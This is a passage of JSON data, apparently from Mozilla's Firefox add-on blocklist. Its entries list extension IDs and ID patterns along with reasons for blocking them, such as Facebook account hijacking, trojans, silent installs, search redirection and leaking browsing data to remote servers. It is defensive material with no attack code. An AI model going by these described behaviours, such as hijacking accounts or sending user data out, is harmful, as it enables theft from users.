Finder”,”created”:”2015-01-06T13:22:39Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”1ea40b9f-2423-a2fd-a5e9-4ec1df2715f4″,”last_modified”:1480349206784},{“guid”:”psid-vhvxQHMZBOzUZA@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i70″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=730059″,”who”:”All Firefox users who have installed this add-on.”,”why”:”Add-on spams Facebook accounts and blocks Facebook warnings.”,”name”:”PublishSync (malware)”,”created”:”2012-02-23T13:44:41Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”f1528b02-7cef-0e80-f747-8bbf1f0f2f06″,”last_modified”:1480349206758},{“guid”:”{B18B1E5C-4D81-11E1-9C00-AFEB4824019B}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i447″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=788838″,”who”:”All Firefox users who have this add-on installed. The add-on can be enabled again in the Add-ons Manager.”,”why”:”This add-on is installed silently, in violation of our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”My Smart Tabs”,”created”:”2013-09-06T16:00:19Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”40332fae-0444-a141-ade9-8d9e50370f56″,”last_modified”:1480349206733},{“guid”:”crossriderapp8812@crossrider.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i314″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=835665″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on doesn’t follow our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>, bypassing our third party install opt-in screen. Users who wish to continue using this extension can enable it in the Add-ons Manager.”,”name”:”Coupon Companion”,”created”:”2013-03-06T14:14:51Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”06c07e28-0a34-e5ee-e724-491a2f6ce586″,”last_modified”:1480349206708},{“guid”:”/^(ffxtlbr@mixidj\\.com|{c0c2693d-2ee8-47b4-9df7-b67a0ee31988}|{67097627-fd8e-4f6b-af4b-ecb65e50112e}|{f6f0f973-a4a3-48cf-9a7a-b7a69c30d71a}|{a3d0e35f-f1da-4ccb-ae77-e9d27777e68d}|{1122b43d-30ee-403f-9bfa-3cc99b0caddd})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i540″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=963819″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on has been repeatedly blocked before and keeps showing up with new add-on IDs, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”MixiDJ (malware)”,”created”:”2014-01-28T14:07:56Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”4c03ddda-bb3f-f097-0a7b-b7b77b050584″,”last_modified”:1480349206678},{“guid”:”hansin@topvest.id”,”prefs”:[],”schema”:1480349193877,”blockID”:”i836″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1130406″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious add-on that hijacks Facebook accounts.”,”name”:”Inside News (malware)”,”created”:”2015-02-06T14:17:39Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”0945a657-f28d-a02c-01b2-5115b3f90d7a”,”last_modified”:1480349206628},{“guid”:”lfind@nijadsoft.net”,”prefs”:[],”schema”:1480349193877,”blockID”:”i358″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=874131″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed, violating our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>.\r\n\r\nUsers who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”Lyrics Finder”,”created”:”2013-05-24T14:09:47Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”2307f11c-6216-0dbf-a464-b2921055ce2b”,”last_modified”:1480349206603},{“guid”:”plugin@getwebcake.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i484″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=938264″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> and is broadly considered to be malware. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”WebCake”,”created”:”2013-11-14T09:55:24Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”2865addd-da1c-20c4-742f-6a2270da2e78″,”last_modified”:1480349206578},{“guid”:”{c0c2693d-2ee8-47b4-9df7-b67a0ee31988}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i354″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=837838″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed, violating our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>.\r\n\r\nUsers who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”Mixi DJ”,”created”:”2013-05-23T14:31:21Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”03a745c3-0ee7-e262-ba31-62d4f78ddb62″,”last_modified”:1480349206525},{“guid”:”/^({7316e43a-3ebd-4bb4-95c1-9caf6756c97f}|{0cc09160-108c-4759-bab1-5c12c216e005}|{ef03e721-f564-4333-a331-d4062cee6f2b}|{465fcfbb-47a4-4866-a5d5-d12f9a77da00}|{7557724b-30a9-42a4-98eb-77fcb0fd1be3}|{b7c7d4b0-7a84-4b73-a7ef-48ef59a52c3b})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i520″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=947485″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by being silently installed and using multiple add-on IDs.”,”name”:”appbario7″,”created”:”2013-12-20T13:11:46Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e3901c48-9c06-fecb-87d3-efffd9940c22″,”last_modified”:1480349206491},{“guid”:”{354dbb0a-71d5-4e9f-9c02-6c88b9d387ba}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i538″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=964081″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious add-on that hijacks Facebook accounts.”,”name”:”Show Mask ON (malware)”,”created”:”2014-01-27T10:13:17Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”aad90253-8921-b5df-3658-45a70d75f3d7″,”last_modified”:1480349206465},{“guid”:”{8E9E3331-D360-4f87-8803-52DE43566502}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i461″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=906071″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This is a companion add-on for the SweetPacks Toolbar which is <a href=\”https://addons.mozilla.org/firefox/blocked/i392\”>blocked</a> due to guideline violations.”,”name”:”Updater By SweetPacks”,”created”:”2013-10-17T16:10:51Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”ae8cca6e-4258-545f-9a69-3d908264a701″,”last_modified”:1480349206437},{“guid”:”info@bflix.info”,”prefs”:[],”schema”:1480349193877,”blockID”:”i172″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=806802″,”who”:”All Firefox users who have this add-on installed.”,”why”:”These are malicious add-ons that are distributed with a trojan and negatively affect web browsing.”,”name”:”Bflix (malware)”,”created”:”2012-10-30T13:39:22Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”7a9062f4-218d-51d2-9b8c-b282e6eada4f”,”last_modified”:1480349206384},{“guid”:”{dff137ae-1ffd-11e3-8277-b8ac6f996f26}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i450″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=917861″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is add-on is malware that silently redirects popular search queries to a third party.”,”name”:”Addons Engine (malware)”,”created”:”2013-09-18T16:19:34Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8e583fe4-1c09-9bea-2473-faecf3260685″,”last_modified”:1480349206312},{“guid”:”12x3q@3244516.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i493″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=939254″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on appears to be malware and is installed silently in violation of the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”BetterSurf (malware)”,”created”:”2013-12-02T12:49:36Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”af2a9e74-3753-9ff1-d899-5d1e79ed3dce”,”last_modified”:1480349206286},{“guid”:”{20AD702C-661E-4534-8CE9-BA4EC9AD6ECC}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i626″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1027886″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is probably silently installed, and is causing significant stability issues for users, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”V-Bates”,”created”:”2014-06-19T15:16:38Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”9b9ccabe-8f9a-e3d1-a689-1aefba1f33b6″,”last_modified”:1480349206261},{“guid”:”{c5e48979-bd7f-4cf7-9b73-2482a67a4f37}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i736″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1080842″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into users’ systems, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”ClearThink”,”created”:”2014-10-17T15:22:41Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”6e8b3e4f-2f59-cde3-e6d2-5bc6e216c506″,”last_modified”:1480349206231},{“guid”:”{41339ee8-61ed-489d-b049-01e41fd5d7e0}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i810″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1073810″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed into users’ systems. It uses very unsafe practices to load its code, and leaks information of all web browsing activity. These are all violations of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”FireWeb”,”created”:”2014-12-23T10:32:26Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”a35f2ca6-aec4-c01d-170e-650258ebcd2c”,”last_modified”:1480349206165},{“guid”:”jid0-l9BxpNUhx1UUgRfKigWzSfrZqAc@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i640″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1036640″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on attempts to gather private user data and send it to a remote location. It doesn’t appear to be very effective at it, but its malicious nature is undeniable.”,”name”:”Bitcoin Mining Software”,”created”:”2014-07-09T14:35:40Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8fe3c35e-1a6f-a89a-fa96-81bda3b71db1″,”last_modified”:1480349206133},{“guid”:”{845cab51-d8d2-472f-8bd9-2b44642d97c2}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i460″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=927456″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and handles users’ settings, violating some of the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”Vafmusic9″,”created”:”2013-10-17T15:50:38Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8538ccb4-3b71-9858-3f6d-c0fff7af58b0″,”last_modified”:1480349205746},{“guid”:”SpecialSavings@SpecialSavings.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i676″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=881511″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”why”:”This is add-on is generally considered to be unwanted and is probably silently installed, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”SpecialSavings”,”created”:”2014-07-22T16:31:56Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”5e921810-fc3a-0729-6749-47e38ad10a22″,”last_modified”:1480349205688},{“guid”:”afurladvisor@anchorfree.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i434″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=844945″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on bypasses the external install opt in screen in Firefox, violating the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”Hotspot Shield Helper”,”created”:”2013-08-09T11:26:11Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”083585eb-d7e7-e228-5fbf-bf35c52044e4″,”last_modified”:1480349205645},{“guid”:”addonhack@mozilla.kewis.ch”,”prefs”:[],”schema”:1480349193877,”blockID”:”i994″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1200848″,”who”:”All users who have this add-on installed.”,”why”:”This add-on is a proof of concept of malicious behavior in an add-on. In itself it doesn’t cause any harm, but it still needs to be blocked for security reasons.”,”name”:”Addon Hack”,”created”:”2015-09-01T15:32:36Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”81f75571-ca2a-0e50-a925-daf2037ce63c”,”last_modified”:1480349205584},{“guid”:”info@thebflix.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i174″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=806802″,”who”:”All Firefox users who have these add-ons installed.”,”why”:”These are malicious add-ons that are distributed with a trojan and negatively affect web browsing.”,”name”:”Bflix (malware)”,”created”:”2012-10-30T13:40:31Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”811a61d4-9435-133e-6262-fb72486c36b0″,”last_modified”:1480349205526},{“guid”:”{EEE6C361-6118-11DC-9C72-001320C79847}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i392″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=881447″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on changes search settings without user interaction, and fails to reset them after it is removed. This violates our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”SweetPacks Toolbar”,”created”:”2013-06-25T12:38:45Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”c1dc6607-4c0a-4031-9f14-70ef1ae1edcb”,”last_modified”:1480349205455},{“guid”:”/^(4cb61367-efbf-4aa1-8e3a-7f776c9d5763@cdece6e9-b2ef-40a9-b178-291da9870c59\\.com|0efc9c38-1ec7-49ed-8915-53a48b6b7600@e7f17679-2a42-4659-83c5-7ba961fdf75a\\.com|6be3335b-ef79-4b0b-a0ba-b87afbc6f4ad@6bbb4d2e-e33e-4fa5-9b37-934f4fb50182\\.com)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i531″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=949672″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by making changes that can’t be easily reverted and using multiple IDs.”,”name”:”Feven”,”created”:”2013-12-20T15:01:22Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”46aa79a9-d329-f713-d4f2-07d31fe7071e”,”last_modified”:1480349205287},{“guid”:”afext@anchorfree.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i466″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=933988″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on doesn’t respect user choice, violating the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”Hotspot Shield Extension”,”created”:”2013-11-07T13:32:41Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8176f879-bd73-5468-e908-2d7cfc115ac2″,”last_modified”:1480349205108},{“guid”:”{FCE04E1F-9378-4f39-96F6-5689A9159E45}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i920″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1173154″,”who”:”All Firefox users who have this add-on installed in Firefox 39 and above.\r\n”,”why”:”Certain versions of this extension are causing startup crashes in Firefox 39 and above.\r\n”,”name”:”RealPlayer Browser Record Plugin”,”created”:”2015-06-09T15:26:47Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”39.0a1″}]}],”id”:”eb191ff0-20f4-6e04-4344-d880af4faf51″,”last_modified”:1480349204978},{“guid”:”{9CE11043-9A15-4207-A565-0C94C42D590D}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i503″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=947384″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious extension that uses a deceptive name to stay in users’ systems.”,”name”:”XUL Cache (malware)”,”created”:”2013-12-06T11:58:38Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”dcdae267-8d3a-5671-dff2-f960febbbb20″,”last_modified”:1480349204951},{“guid”:”/^[a-z0-9]+@foxysecure[a-z0-9]*\\.com$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i766″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1088615″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into users’ systems, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Fox Sec 7″,”created”:”2014-10-30T14:22:18Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”503fbd7c-04cd-65f3-9d0e-3ecf427b4a8f”,”last_modified”:1480349204925},{“guid”:”/^(jid1-W4CLFIRExukJIFW@jetpack|jid1-W4CLFIRExukJIFW@jetpack_1|jid1-W3CLwrP[a-z]+@jetpack)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1078″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1240561″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious extension that tries to pass itself for the Adobe Flash Player and hides itself in the Add-ons Manager.”,”name”:”Adobe Flash Player (malware)”,”created”:”2016-01-18T10:31:51Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”b026fe67-ec77-a240-2fa1-e78f581a6fe4″,”last_modified”:1480349204899},{“guid”:”{0153E448-190B-4987-BDE1-F256CADA672F}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i914″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1170633″,”who”:”All Firefox users who have this add-on installed in Firefox 39 and above.”,”why”:”Certain versions of this extension are causing startup crashes in Firefox 39 and above.”,”name”:”RealPlayer Browser Record Plugin”,”created”:”2015-06-02T09:56:58Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”39.0a1″}]}],”id”:”2bfe0d89-e458-9d0e-f944-ddeaf8c4db6c”,”last_modified”:1480349204871},{“guid”:”{77beece6-3997-403a-92fa-0055bfcf88e5}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i452″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=916966″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on doesn’t follow our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>, manipulating settings without reverting them on removal. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”Entrusted11″,”created”:”2013-09-18T16:34:58Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”d348f91f-caeb-a803-dfd9-fd5d285aa0fa”,”last_modified”:1480349204844},{“guid”:”dealcabby@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i222″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=811435″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently side-installed with other software, injecting advertisements in Firefox.”,”name”:”DealCabby”,”created”:”2012-11-29T16:20:24Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”6585f0bd-4f66-71e8-c565-d9762c5c084a”,”last_modified”:1480349204818},{“guid”:”{3c9a72a0-b849-40f3-8c84-219109c27554}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i510″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=951301″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware that hijacks users’ Facebook accounts.”,”name”:”Facebook Haber (malware)”,”created”:”2013-12-17T14:27:13Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”7cfa3d0b-0ab2-5e3a-8143-1031c180e32f”,”last_modified”:1480349204778},{“guid”:”{4ED1F68A-5463-4931-9384-8FFF5ED91D92}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1245″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1286368″,”who”:”All users who have McAfee SiteAdvisor lower than 4.0. \r\n\r\nTo resolve this issue, users will need to uninstall McAfee SiteAdvisor/WebAdvisor, reboot the computer, and then reinstall McAfee SiteAdvisor/WebAdvisor. \r\n\r\nFor detailed instructions, please refer to the <a href=\”https://service.mcafee.com/webcenter/portal/cp/home/articleview?locale=en-CA&articleId=TS102554\”>McAfee support knowledge base</a>.”,”why”:”Old versions of McAfee SiteAdvisor cause startup crashes starting with Firefox 48.0 beta.”,”name”:”McAfee SiteAdvisor lower than 4.0″,”created”:”2016-07-14T21:24:02Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.9.9″,”minVersion”:”0″,”targetApplication”:[]}],”id”:”d727d8c5-3329-c98a-7c7e-38b0813ca516″,”last_modified”:1480349204748},{“guid”:”{2aab351c-ad56-444c-b935-38bffe18ad26}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i500″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=946087″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious Firefox extension that uses a deceptive name and hijacks users’ Facebook accounts.”,”name”:”Adobe Photo (malware)”,”created”:”2013-12-04T15:29:44Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”f7a76d34-ddcd-155e-9fae-5967bd796041″,”last_modified”:1480349204716},{“guid”:”jid1-4P0kohSJxU1qGg@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i488″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=942935″,”who”:”All Firefox users who have version 1.2.50 of the Hola extension. Updating to the latest version should remove the block.”,”why”:”Version 1.2.50 of the Hola extension is causing frequent crashes in Firefox. All users are strongly recommended to update to the latest version, which shouldn’t have this problem.”,”name”:”Hola, version 1.2.50″,”created”:”2013-11-25T12:14:57Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.2.50″,”minVersion”:”1.2.50″,”targetApplication”:[]}],”id”:”5c7f1635-b39d-4278-5f95-9042399c776e”,”last_modified”:1480349204668},{“guid”:”{0A92F062-6AC6-8180-5881-B6E0C0DC2CC5}”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i864″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1131220″,”who”:”All users who have this add-on installed. Users who wish to continue using the add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into users’ systems and makes unwanted settings changes, in violation of our <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”BlockAndSurf”,”created”:”2015-02-26T12:56:19Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”acb16d1c-6274-93a3-7c1c-7ed36ede64a9″,”last_modified”:1480349204612},{“guid”:”jid0-Y6TVIzs0r7r4xkOogmJPNAGFGBw@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i322″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=847018″,”who”:”All users who have this add-on installed.”,”why”:”This extension is malware, installed pretending to be the Flash Player plugin.”,”name”:”Flash Player (malware)”,”created”:”2013-03-22T14:39:40Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”54df22cd-19ce-a7f0-63cc-ffe3113748b9″,”last_modified”:1480349204532},{“guid”:”trackerbird@bustany.org”,”prefs”:[],”schema”:1480349193877,”blockID”:”i986″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1189264″,”who”:”All Thunderbird users who have this version of the add-on installed on Thunderbird 38.0a2 and above.”,”why”:”This add-on is causing consistent crashes on Thunderbird 38.0a2 and above.”,”name”:”trackerbird 